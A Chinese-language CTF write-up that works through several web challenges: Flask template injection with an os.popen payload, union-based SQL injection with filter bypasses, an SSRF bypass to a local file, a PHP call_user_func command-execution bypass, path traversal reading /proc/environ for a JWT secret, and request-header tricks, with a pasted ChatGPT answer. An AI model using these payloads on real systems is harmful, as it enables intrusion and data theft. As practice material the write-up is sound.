第一天放了六道题目,没时间做了,只做出四道,有一道不会,还有一道就是没有时间来做了。
第二天又放了一道题目
好像平台的靶机马上要下线了,刚好说期末重要的基本考完了,赶紧来复现一下
ezjs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| game._addSuccessFn(function (scoreNow) { current_score.innerHTML = scoreNow
if (scoreNow === 100000000000) { fetch('getflag.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'score=' + scoreNow }) .then(response => response.text()) .then(data => { alert("恭喜你!flag是:" + data); }) .catch(error => { console.error('错误:', error); }); } })
|
一进去查看网页源代码,控制台输入
1 2 3 4 5 6 7 8 9 10 11 12
| fetch('getflag.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'score=100000000000' }) .then(response => response.text()) .then(data => { alert("恭喜你!flag是:" + data); });
|
拿到flag
还有就是看懂代码之后,先访问/getflag.php,然后就是post发包
ezflask
我们当然是先来fenjing一下
1
| python -m fenjing scan --url http://27.25.151.26:30747/
|
这里可以看到有flag,但是我们拿不到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| $>> head -n 10 /flag WARNING:[full_payload_gen] | We cannot set any variable through {%set %}, continue... INFO:[full_payload_gen] | Start generating final expression... INFO:[payload_gen] | Great, string('head -n 10 /flag') can be 'head -n 10 /f''lag' INFO:[payload_gen] | Great, we generate os_popen_obj('head -n 10 /flag') INFO:[payload_gen] | Great, we generate os_popen_read('head -n 10 /flag') INFO:[cli] | Submit payload {{joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('o''s')['p''open']('head -n 10 /f''lag')['read']()}}
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>小白的flask网站</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f0f0; } .navbar { background-color: #3498db; padding: 10px; color: white; text-align: center; font-size: 24px; } .content { margin: 50px auto; width: 80%; text-align: center; } .footer { position: fixed; bottom: 0; width: 100%; text-align: center; background: #ddd; padding: 10px; font-size: 12px;} input[type=text] { padding: 10px; width: 300px; } input[type=submit] { padding: 10px 20px; background-color: #3498db; color: white; border: none; } </style> </head> <body> <div class="navbar"> 小白的flask网站 </div>
<div class="content"> <h1>尝试注入一下吧</h1> <form method="get" action="/"> <input type="text" name="name" placeholder="Enter your name..."> <input type="submit" value="Submit"> </form> <div> <h3>Welcome, flag{efaed5b2-6f3f-42a6-8a65-f3fef5a6fdb1} !</h3> </div> </div>
<div class="footer"> © 2025 - Powered by tools </div> </body> </html>
$>>
|
但是上面的那个命令是gpt给的,我不知道相关的含义等等这些方面
看了一下很多别人的wp来看看其他情况下怎么拿到flag
HnuSecStar战队的wp是nl /flag
后面我又自己试了很多,应该就是说过滤了cat,我们直接换tac都是可以拿到flag的
ezsql1.0
我们先fuzz一下
1 2 3 4 5 6 7 8
| 219 %20 200 false false 2224 189 200 false false 2225 158 order 200 false false 2229 8 SeleCT 200 false false 2230 1 length 200 false false 2230 75 select 200 false false 2230 68 length 200 false false 2230 201 sys schemma 200 false false 2234
|
然后这些就是杯waf的,当然我的fuzz字典有些问题,可以多手动注入一下
报错了,知道是数字型,不要测试闭合方式
1
| ?id=1/**/group/**/by/**/4
|
3正常,4报错
我们知道是有三列
1
| ?id=0/**/union/**/seselectlect/**/1,2,3
|
回显了,选择第三列进行测试
1
| ?id=0/**/union/**/seselectlect/**/1,2,database()
|
这个回显ctf
1
| ?id=0/**/union/**/seselectlect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'
|
这个回显:users,flag
1
| ?id=0/**/union/**/seselectlect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'
|
回显:id,data
1
| ?id=0/**/union/**/seselectlect/**/1,2,group_concat(id,data)/**/from/**/flag
|
这个拿到flag
确认了我们没有复制错flag,那么就是说flag在其他的库中
1
| ?id=0/**/union/**/seselectlect/**/1,2,group_concat(schema_name)/**/from/**/information_schema.schemata
|
回显:information_schema,performance_schema,mysql,ctf,xuanyuanCTF
应该在最后一个里面
重复上面paylaod就是将库/表名换一下
1
| ?id=0/**/union/**/seselectlect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=' '
|
回显:info
1
| ?id=0/**/union/**/seselectlect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='info'
|
回显:id,title,content
这里要用下面这个payload,否则我试了很多都拿不到flag
1
| ?id=0/**/union/**/seselectlect/**/1,2,group_concat(title,content)/**/from/**/xuanyuanCTF.info
|
title换为id也是可以的,得到1ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99
解码拿到flag
ezssrf1.0
问gpt再过一下waf就出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| <?php error_reporting(0); highlight_file(__FILE__); $url = $_GET['url'];
if ($url == null) die("Try to add ?url=xxxx.");
$x = parse_url($url);
if (!$x) die("(;_;)");
if ($x['host'] === null && $x['scheme'] === 'http') { echo ('Well, Going to ' . $url); $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo ($result); } else echo "(^-_-^)"; 绕过这个waf,拿flag ChatGPT 说:
你现在的目标是:
在满足 WAF 限制的情况下,通过 SSRF 拿到内网的 /flag 内容。
🔍 当前 PHP 代码关键点分析:
$x = parse_url($url);
if ($x['host'] === null && $x['scheme'] === 'http') {
要通过 WAF 的关键条件是:
parse_url($url) 成功。
scheme === 'http'
必须满足 host === null
🚫 什么会失败:
http://127.0.0.1/flag ❌ host=127.0.0.1
http://localhost/flag ❌ host=localhost
gopher://127.0.0.1 ❌ scheme ≠ http
✅ 你能用的 SSRF Payload 样式:
http:///flag
这种写法:
parse_url("http:///flag") 会返回:
[ "scheme" => "http", "path" => "/flag" ]
✔️ host === null 成立
✔️ scheme === 'http' 成立
在 cURL 执行时,http:///flag 实际上会被解释为请求本地 127.0.0.1,请求路径为 /flag! ✅ 所以,正确 payload 是:
?url=http:///flag
或者你也可以试这些:
?url=http:///internal/flag ?url=http:///.flag ?url=http:///admin
✅ 小技巧(目录探测):
你可以尝试目录探测:
for path in /flag /.flag /.hidden /internal/flag /admin /debug; do curl "http://目标地址/?url=http:///$path" done
💡 如果不回显内容怎么办?
如果 SSRF 能访问但不直接回显(如返回 HTML 页面但无 flag 字样),你可以试:
/phpinfo 看变量
/index.php?debug=1
查看 200 OK 响应体里是否包含 flag{...}、fl4g 字样
✅ 结论
请直接访问:
http://你的服务器地址/?url=http:///flag
它是唯一合法又能触发 SSRF 的 payload。如果这个不回显,再考虑路径爆破。
需要我写脚本帮你跑路径或端口探测,也可以说一声。
|
?url=http:/127.0.0.1/flag
这个就回显我们需要的flag文件了,Well, Going to http:/127.0.0.1/flagflag in FFFFF11111AAAAAggggg.php
然后就是我们来
1
| http://27.25.151.26:31170/?url=http:/127.0.0.1/FFFFF11111AAAAAggggg.php
|
拿到flag
我现在还不是很会ssrf的很多内容,等后面sql基本没有了问题之后,就来解决ssrf方面的相关问题了
ezrce
首先我们进去出现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php error_reporting(0); highlight_file(__FILE__);
function waf($a) { $disable_fun = array( "exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "register_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval" ); $disable_fun = array_map('strtolower', $disable_fun); $a = strtolower($a);
if (in_array($a, $disable_fun)) { echo "宝宝这对嘛,这不对噢"; return false; } return $a; }
$num = $_GET['num']; $new = $_POST['new']; $star = $_POST['star'];
if (isset($num) && $num != 1234) { echo "看来第一层对你来说是小case<br>"; if (is_numeric($num) && $num > 1234) { echo "还是有点实力的嘛<br>"; if (isset($new) && isset($star)) { echo "看起来你遇到难关了哈哈<br>"; $b = waf($new); if ($b) { call_user_func($b, $star); echo "恭喜你,又成长了<br>"; } } } } ?>
|
就是绕这个waf嘛
首先就是我们需要知道call_user_func()这个函数
调用普通函数用法
1 2 3 4 5 6 7
| function hello($name) { return "Hello, $name!"; }
echo call_user_func('hello', 'Alice'); // 输出:Hello, Alice!
|
调用类的静态方法
1 2 3 4 5 6 7 8 9
| class Test { public static function say($msg) { return "Message: $msg"; } }
echo call_user_func(['Test', 'say'], 'Hi'); // 输出:Message: Hi
|
调用对象方法
1 2 3 4 5 6 7 8 9 10
| class Greeter { public function greet($name) { return "Hi, $name"; } }
$obj = new Greeter(); echo call_user_func([$obj, 'greet'], 'Bob'); // 输出:Hi, Bob
|
ctf赛题中
1 2 3 4 5
| 在一些 CTF Web 题中:
call_user_func($_GET['func'], $_GET['arg']);
如果未做限制,就可能被用户传入任意函数名,比如 phpinfo, system, eval 等,造成 任意代码执行 RCE
|
上面的这个call_user_func函数我的理解一直是错的
是没有没有,但是题目这里是可以允许你在绕过waf的情况下,你里面使用的函数如果是有回显的话那就可以拿到flag了
这里两种解法
1 2 3 4
| 该函数用于输出一个 .gz 文件的内容
但是对于非 gzip 格式的文件,直接读取内容 我们可以new=readgzfile&star=/flag
|
常规点的思路:
还有就是new=\system&star=nl /flag来绕过waf,那只要没有过滤\这个符号,那rce的赛题不都基本一下就解决了这个问题了
ez_web1
哈哈,玛德,这道题我还想着要不要爆破密码呀这些,或者说去扫目录什么的
给了admin和fly233的聊天,我们最终要得到账号为fly233密码为123456789
然后登陆进去
book1
1
| 中间人攻击重放是攻击者拦截通信双方的数据包,复制并重发以实现恶意目的的网络攻击方式。在用户与服务器通信时,攻击者通过网络漏洞获取数据,如交易请求、登录信息等,随后重新发送这些数据包,可能导致用户资金损失、敏感信息泄露、数据被篡改或通信受干扰等问题 。为防范该攻击,可采用 SSL/TLS 加密通信、使用消息认证码或数字签名进行消息认证,以及添加时间戳和序列号来识别重复数据包。
|
book2
1
| 条件竞争(Race Condition)是一种在软件开发和系统运行中可能出现的问题。当多个进程或线程在共享资源上进行操作时,其执行顺序依赖于外部条件,且这些操作的执行顺序会影响最终结果,就可能发生条件竞争。例如,在多线程环境下,两个线程同时访问一个共享变量,一个线程负责读取变量值并根据其进行计算,另一个线程负责修改该变量值。如果这两个操作的执行顺序不确定,可能导致计算结果错误。在网络应用中,也可能出现条件竞争,如多个用户同时对一个数据库记录进行修改,先提交的修改可能被后提交的覆盖,造成数据不一致。条件竞争可能引发程序的不稳定、数据错误甚至系统崩溃等问题,需要开发者通过合理的同步机制、锁机制或其他并发控制手段来避免
|
book3
1
| JWT 即 JSON Web Token,是一种用于在网络应用间安全传输信息的开放标准(RFC 7519)。它本质是一个紧凑且自包含的 JSON 对象,以加密的形式在各方之间安全传递声明。JWT 由三部分组成,分别是头部(Header)、负载(Payload)和签名(Signature)。其通常用于身份验证和信息交换,在用户登录时,服务器会生成一个 JWT 并返回给客户端,后续客户端发起请求时携带该 JWT,服务器通过验证 JWT 的签名来确认请求的合法性和用户身份,具有无状态、可扩展等优点,在现代 Web 应用和 API 服务中被广泛使用。
|
猜测基本就是说是这三个的其中一个或者多个了
但是我们打开一个book之后,可以看到请求包是post了book_path=book_three.txt
,此时来到/read目录下
最后在/proc/1/environ下找到flag
这里如果是说用hackbar的话,我们就需要说看一下源代码
预期解:读取/app/app.py源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify import os import re import jwt
app = Flask(__name__, template_folder='templates') app.config['TEMPLATES_AUTO_RELOAD'] = True SECRET_KEY = os.getenv('JWT_KEY') book_dir = 'books' users = {'fly233': '123456789'}
def generate_token(username): payload = { 'username': username } token = jwt.encode(payload, SECRET_KEY, algorithm='HS256') return token
def decode_token(token): try: payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256']) return payload except jwt.ExpiredSignatureError: returnNone except jwt.InvalidTokenError: returnNone
@app.route('/') def index(): token = request.cookies.get('token') ifnot token: return redirect('/login') payload = decode_token(token) ifnot payload: return redirect('/login') username = payload['username'] books = [f for f in os.listdir(book_dir) if f.endswith('.txt')] return render_template('./index.html', username=username, books=books)
@app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'GET':
return render_template('./login.html') elif request.method == 'POST':
username = request.form.get('username') password = request.form.get('password')
if username in users and users[username] == password: token = generate_token(username) response = make_response(jsonify({ 'message': 'success' }), 200)
response.set_cookie('token', token, httponly=True, path='/') return response else:
return {'message': 'Invalid username oindex.htmlr password'}
@app.route('/read', methods=['POST']) def read_book(): token = request.cookies.get('token') ifnot token: return redirect('/login') payload = decode_token(token) ifnot payload: return redirect('/login') book_path = request.form.get('book_path') full_path = os.path.join(book_dir, book_path) try: with open(full_path, 'r', encoding='utf-8') as file: content = file.read() return render_template('reading.html', content=content) except FileNotFoundError: return"文件未找到", 404 except Exception as e: returnf"发生错误: {str(e)}", 500
@app.route('/upload', methods=['GET', 'POST']) def upload(): token = request.cookies.get('token') ifnot token: return redirect('/login') payload = decode_token(token) ifnot payload: return redirect('/login') if request.method == 'GET': return render_template('./upload.html') if payload.get('username') != 'admin': return""" <script> alert('只有管理员才有添加图书的权限'); window.location.href = '/'; </script> """ file = request.files['file'] if file: book_path = request.form.get('book_path') file_path = os.path.join(book_path, file.filename) ifnot os.path.exists(book_path): return"文件夹不存在", 400 file.save(file_path)
with open(file_path, 'r', encoding='utf-8') as f: content = f.read() pattern = r'[{}<>_%]'
if re.search(pattern, content): os.remove(file_path) return""" <script> alert('SSTI,想的美!'); window.location.href = '/'; </script> """ return redirect(url_for('index')) return"未选择文件", 400
|
找到用户认证的逻辑是通过cookie里的token来jwt-decode来处理然后读取环境变量/proc/self/environ得到SECRET_KEY=th1s_1s_k3y得到伪造admin的token
这里我们可以在cyberchef里面(第一次知道cyberchef的这个功能,肯定是要比说在线的好呀)
然后就是条件竞争什么的了
但是这里的构造JWT我不是很会(非在线情况下)
签到
当时比赛的时候卡在第四关了,当时想了很久没有想到怎么过
第一关:首先是get和post传参,注意Cookie后面跟着一个star=user,我们将user换为admin
第二关:
1 2 3 4 5 6 7 8
| 有时候,看起来相同的东西,实际上并不一样。
这一关,你需要GET提交一个 password 参数。🛡️ 但是要小心: - 纯粹的数字,会被怀疑并被拒绝。❌ if (is_string($password) && preg_match('/^\d+$/', $password)) { echo "纯数字是不行的哦!"; exit; }🎭
嘻嘻,给你一个小提示:今年是多少年呢?
|
这个就传password=2025bac就可以了
第三关:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 看起来,直接访问似乎行不通了。
有些信息藏在请求头里,动动你的工具箱,伪造它们!
提示:Referer 不是随便写的,里面得藏着点东西……
<?php error_reporting(0);
// 判断 Referer 是否符合 $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (strpos($referer, 'secretcode') !== false) { // 进一步要求POST参数 if (isset($_POST['key']) && $_POST['key'] === 'ctfpass') { echo file_get_contents('./xixi.txt'); } else { echo "Referer对了,但是POST参数呢?"; } } else { echo "你缺少正确的Referer头~"; } ?>
|
这里referer传secretcode就可以的
第四关:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 第四关:不走寻常路
有些门,用传统的方法打不开。
是谁又头疼了啊?🛠️
小提示: - 常规的 GET、POST 已经无能为力了,试试别的方式?🔄 - 身份也很关键,伪装得像 “identity=n1c3” 的人,才有机会通过。🕵️♂️
别局限于常规操作,灵活运用你的工具箱! 请换一种请求方式试试看? 提示:试试使用 HEAD 请求方法!
|
这里就基本上过不了这关了
这里我试着改说cookie和其他的都是不可以的,主要得改ua,说实话这关提示有误导性哈哈
第五关:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <script> (function(){ var a = ['E', 'l', 'W', '_', 'F', '3', 't', '0', 'C', 'C']; var order = [2, 5, 1, 8, 7, 0, 3, 9, 6, 4]; var code = ''; for (var i = 0; i < order.length; i++) { code += a[order[i]]; } console.log("Your hidden key is:", code); })();
</script>
|
代码得意思也很简单,我们可以直接放在控制台来执行就行了
最后一关:
1 2 3 4 5 6 7
| 第六关:最后的决战
这是一场真正的较量。
你需要找到方法,在不触发防火墙的情况下,拿到真正的flag!
提示:防火墙会检查关键词,小心绕过它。
|
这里应该有很多的方法是可以拿到flag的
看别人的wp:sort /f*或者sort /f???
就可以拿到flag了
还可用前面的nl /flag
我试试sort在前面ssti之类的能不能拿到flag
结果:可以哦
算是有多掌握了几个命令类似于cat的